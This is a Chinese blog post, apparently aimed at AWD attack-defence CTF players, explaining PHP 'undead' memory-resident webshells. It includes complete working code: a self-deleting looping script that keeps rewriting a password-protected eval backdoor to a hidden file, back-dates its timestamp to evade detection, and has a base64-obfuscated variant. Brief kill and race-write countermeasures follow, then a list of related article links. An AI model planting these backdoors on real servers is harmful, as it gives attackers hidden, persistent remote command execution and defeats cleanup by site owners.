不死马又叫内存马,就是运行一段永远不退出的程序常驻在PHP进程里,无限执行。

不死马.php—>上传到server—>server执行文件—>server本地无限循环生成
(一句话.php)

不死马生成的一句话木马可以自定义。

<?php
ignore_user_abort(true); //函数设置于客户机断开后,不会终止脚本的执行
set_time_limit(0); //设置脚本的最大执行时间,0代表无限制
unlink(__FILE__);   //删除文件本身      (隐藏的效果)
$file = './.index.php';   //生成的一句木马的文件名
$code = '<?php if(md5($_POST["pass"])=="e771c5bd0272757ce1a75fb6c35528cb"){@eval($_POST[v]);} ?>';
//一句话木马的内容,这个是可以改变的
//pass=dhskanf 马儿用法:fuckyou.php?pass=dhskanf&v=command
while (1){file_put_contents($file,$code);system('touch -m -d ""2018-12-01 09:10:12" .index.php');//touch -m 修改文件时间,让防守方无法通过find命令来找到不死马文件。usleep(1);
}
?>

KILL不死马的方法:
1.重启系统
2.kill进程

<?php
while (1) {$pid = 不死马的进程PID;@unlink(".ski12.php");exec("kill -9 $pid");usleep(1000);
}
?>

3.竞争写入无意义的一句话

<?php
set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
while(1)
{     file_put_contents('shell.php','1111111');  //创建shell.php usleep(0);    //间隔时间
}
?>

不死马的变种
多了条件判断,不容易别人条件竞争。

<?phpignore_user_abort(true);set_time_limit(0);$file = 'c.php';$code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');//一句话木马base64加密<?php @eval($_POST[c]);?>while(true) {if(md5(file_get_contents($file))===md5($code)) {       //获得文件内容与参数code进行比较,条件判断file_put_contents($file, $code);}usleep(50);}
?>

7.awd不死马权限维持及变种相关推荐

  1. Windows权限维持之php不死马、映像劫持、策略组脚本

    文中主要讲解Windows权限维持中的小技巧,通过了解掌握php不死马.映像劫持.策略组脚本等方式,更快知晓权限维持作用.本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若 ...

  2. 渗透测试-不死马的创建和查杀

    不死马的创建和查杀 文章目录 不死马的创建和查杀 0x00 创建 0x01 查看 0x02 查杀 root用户角度的查杀: 重启web服务. 其他用户的查杀: 0x00 创建 md5加密密码: 代码: ...

  3. 不死马php如何取证_AWD不死马与克制方法

    一个简单的不死马如: ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.3.php'; $code = ' ...

  4. AWD-----监控不死马垃圾包资源库

    1.知识: AWD规则: 2.防守-----流量监控-----实时获取访问数据包流量 利用 WEB 访问监控配合文件监控能实现 WEB 攻击分析及后门清除操作,确保写入后门操作失效,也能确保分析到无后 ...

  5. 关于PHP不死马的分析和总结

    PHP不死马是我们达到权限维持的目的. 不死马的原理: 由客户端发起的Web请求后,中间件的各个独立的组件如Listener.Filter.Servlet等组件会在请求过程中做监听.判断.过滤等操作, ...

  6. 专访死马:为什么说Egg.js是企业级Node框架

    在 7 月 6 日的 ArchSummit 架构师峰会深圳站上,Egg.js 的主要开发者不四(网名死马)将给参会者带来<企业级 Node.js Web 框架研发与落地>的分享,借此机会, ...

  7. awd的批量脚本 pwn_AWD攻防之web入门篇

    前言 AWD(Attack With Defense,攻防兼备)模式是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分.也就是说,攻击别人的靶机可以获取 Flag ...

  8. 记第一次线下AWD感受及复现

    前言: 之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下. 第一次参赛线下AWD感受 由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本.框架.工具等 ...

  9. 第80天-红蓝对抗-AWD 模式准备攻防监控批量

    思维导图 何为AWD 比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以 进行得分,修复漏洞可以避免被其他队伍攻击失分. 一般分配Web服务器,服务器(多数为Linux) 某 ...

最新文章

  1. 最短路问题的原始对偶算法形式
  2. mysql 多主多从配置,自增id解决方案
  3. 2022-03-22
  4. 房价越高的地方资产越高?北京户均资产890万?
  5. C语言使用1到9求出所有k个数字的所有组合的算法(附完整源码)
  6. 【BZOJ3611】【HeOI2014】—大工程(虚树+dp)
  7. 《微软开源跨平台移动开发实践》团购通知
  8. ip转换器哪个好用_中英文翻译软件哪个好?试试这两个就知道了
  9. .Net Micro Framework移植基础(包编译通过)
  10. python属于汇编语言还是高级语言_python语言属于汇编语言吗?_后端开发
  11. Android tv upnp播放器,TV Connect: AirPlay, DLNA
  12. springboot快速搭建ftpserver服务端
  13. Pytorch机器学习(六)——YOLOV5中的自适应图片缩放letterbox
  14. ggplot2_coor_xxx()坐标系变换
  15. 假如工资有段位,你是个啥?
  16. 发现新词 | NLP之无监督方式构建词库(一)
  17. STemWin专题--画直线
  18. 跨越AI大门,一本翻译蓝皮书、一场人机共译比赛投射出怎样的未来?
  19. 中兴通讯能制造服务器吗,中兴通讯服务器搭载“黑匣子”功能,让故障无处遁形...
  20. MacBookPro M1芯片安装brew

热门文章

  1. 计算机专业教育论述,本科计算机专业教育的改革与发展.doc
  2. 006-基于hyperledger fabric1.4( 官方文档)编写第一个应用【外部nodejs调用】
  3. 新上线APP如何推广提升排名
  4. 2021好看小说推荐(持续更新中)
  5. npm安装任何包都报错解决方法
  6. 打印机连接技术概述(LPRRAWAppleTalk)
  7. CF1520E Arranging The Sheep
  8. mt6739耳机通道配置外置功放
  9. 《向着光亮那方》刘同 读书笔记
  10. 通过对抗网络实现具有身份和姿态鲁棒性的表情识别